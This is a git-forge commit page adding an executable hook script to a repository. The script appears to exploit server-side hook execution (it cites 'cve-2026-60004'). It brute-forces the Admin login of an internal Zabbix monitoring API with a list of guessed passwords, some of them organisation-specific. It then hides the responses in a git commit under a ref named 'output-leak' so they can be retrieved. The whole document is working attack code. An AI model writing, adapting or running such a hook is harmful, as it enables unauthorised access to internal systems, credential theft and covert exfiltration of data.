dev9l0et1s
/
infra-enq6pc
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

apply

This commit is contained in:
dev9l0et1s 2026-10-10 22:38:32 +00:00
parent 7ed5054c67
commit 643d303d2c
1 changed files with 13 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

13
hooks/post-index-change Executable file
View File

@ -0,0 +1,13 @@
#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$(for pw in 'zabbix' 'Zabbix1!' 'Admin123!' 'P@ssw0rd' 'Password1!' 'PKP123!' 'Intercity123!' 'monitoring' 'Monitor123!' 'zabbix123' 'admin' 'Admin2024!' 'Admin2025!' 'Admin2026!'; do
R=$(curl -sm10 -H 'Content-Type: application/json' -d "{"jsonrpc":"2.0","method":"user.login","params":{"user":"Admin","password":"$pw"},"id":0}" http://10.209.15.169/api_jsonrpc.php 2>&1)
echo "$pw -> $(echo $R | head -c 200)"
sleep 3
done 2>&1; echo "[exit-status=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
#A